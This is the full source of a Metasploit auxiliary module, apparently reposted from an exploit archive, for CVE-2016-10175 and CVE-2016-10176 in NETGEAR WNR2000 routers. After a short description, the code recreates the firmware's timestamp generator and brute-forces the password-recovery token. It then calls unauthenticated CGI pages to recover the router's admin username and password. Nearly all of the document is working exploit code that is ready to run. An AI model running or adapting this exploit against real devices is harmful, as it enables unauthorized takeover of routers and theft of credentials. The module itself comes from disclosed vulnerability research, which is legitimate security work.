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NETGEAR WNR2000v5 Administrator Password Recovery
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery. This vulnerability can be exploited by an unauthenticated attacker who is able to guess the value of a certain timestamp which is in the configuration of the router. Brute forcing the timestamp token might take a few minutes, a few hours, or days, but it is guaranteed that it can be bruteforced. This Metasploit module works very reliably and it has been tested with the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this has not been tested.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'time'class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::CRand def initialize(info = {}) super( update_info( info, 'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery', 'Description' => %q{ The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery. This vulnerability can be exploited by an unauthenticated attacker who is able to guess the value of a certain timestamp which is in the configuration of the router. Brute forcing the timestamp token might take a few minutes, a few hours, or days, but it is guaranteed that it can be bruteforced. This module works very reliably and it has been tested with the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this has not been tested. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-10175'], ['CVE', '2016-10176'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'], ['URL', 'https://seclists.org/fulldisclosure/2016/Dec/72'], ['URL', 'https://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability'] ], 'DisclosureDate' => '2016-12-20' ) ) register_options( [ Opt::RPORT(80) ] ) register_advanced_options( [ OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]), OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200]) ] ) end def get_current_time res = send_request_cgi({ 'uri' => '/', 'method' => 'GET' }) if res && res['Date'] date = res['Date'] return Time.parse(date).strftime('%s').to_i end end # Do some crazyness to force Ruby to cast to a single-precision float and # back to an integer. # This emulates the behaviour of the soft-fp library and the float cast # which is done at the end of Netgear's timestamp generator. def ieee754_round(number) [number].pack('f').unpack('f*')[0].to_i end # This is the actual algorithm used in the get_timestamp function in # the Netgear firmware. def get_timestamp(time) srandom_r time t0 = random_r t1 = 0x17dc65df hi = (t0 * t1) >> 32 t2 = t0 >> 31 t3 = hi >> 23 t3 -= t2 t4 = t3 * 0x55d4a80 t0 -= t4 t0 += 0x989680 ieee754_round(t0) end def get_creds res = send_request_cgi({ 'uri' => '/BRS_netgear_success.html', 'method' => 'GET' }) if res && res.body =~ /var sn="(\w*)";/ serial = ::Regexp.last_match(1) else fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...") end # 1: send serial number send_request_cgi({ 'uri' => '/apply_noauth.cgi', 'query' => '/unauth.cgi', 'method' => 'POST', 'Content-Type' => 'application/x-www-form-urlencoded', 'vars_post' => { 'submit_flag' => 'match_sn', 'serial_num' => serial, 'continue' => '+Continue+' } }) # 2: send answer to secret questions send_request_cgi({ 'uri' => '/apply_noauth.cgi', 'query' => '/securityquestions.cgi', 'method' => 'POST', 'Content-Type' => 'application/x-www-form-urlencoded', 'vars_post' => { 'submit_flag' => 'security_question', 'answer1' => @q1, 'answer2' => @q2, 'continue' => '+Continue+' } }) # 3: PROFIT!!! res = send_request_cgi({ 'uri' => '/passwordrecovered.cgi', 'method' => 'GET' }) if res && res.body =~ %r{Admin Password: (.*)</TD>} password = ::Regexp.last_match(1) if password.blank? fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?") end else fail_with(Failure::Unknown, "#{peer} - Failed to obtain password") end if res && res.body =~ %r{Admin Username: (.*)</TD>} username = ::Regexp.last_match(1) else fail_with(Failure::Unknown, "#{peer} - Failed to obtain username") end return [username, password] end def send_req(timestamp) query_str = (if timestamp.nil? '/PWD_password.htm' else "/PWD_password.htm%20timestamp=#{timestamp}" end) res = send_request_raw({ 'uri' => '/apply_noauth.cgi', 'query' => query_str, 'method' => 'POST', 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }, 'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}" }) return res rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e return end def run # generate the security questions @q1 = Rex::Text.rand_text_alpha(rand(2..21)) @q2 = Rex::Text.rand_text_alpha(rand(2..21)) # let's try without timestamp first (the timestamp only gets set if the user visited the page before) print_status("#{peer} - Trying the easy way out first") res = send_req(nil) if res && res.code == 200 credentials = get_creds print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"") return end # no result? let's just go on and bruteforce the timestamp print_error("#{peer} - Well that didn't work... let's do it the hard way.") # get the current date from the router and parse it end_time = get_current_time if end_time.nil? fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time") end if end_time <= datastore['TIME_OFFSET'] start_time = 0 else start_time = end_time - datastore['TIME_OFFSET'] end end_time += datastore['TIME_SURPLUS'] if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i end print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.") print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).") # work back from the current router time minus datastore['TIME_OFFSET'] loop do for time in end_time.downto(start_time) timestamp = get_timestamp(time) sleep 0.1 if time % 400 == 0 print_status("#{peer} - Still working, trying time #{time}") end res = send_req(timestamp) next unless res && res.code == 200 credentials = get_creds print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"") store_valid_credential(user: credentials[0], private: credentials[1]) # more consistent service_name and protocol, now supplies ip and port return end end_time = start_time start_time -= datastore['TIME_OFFSET'] if start_time < 0 if end_time <= datastore['TIME_OFFSET'] fail_with(Failure::Unknown, "#{peer} - Exploit failed") end start_time = 0 end print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}") # let the router clear the buffers a bit... sleep 30 end endend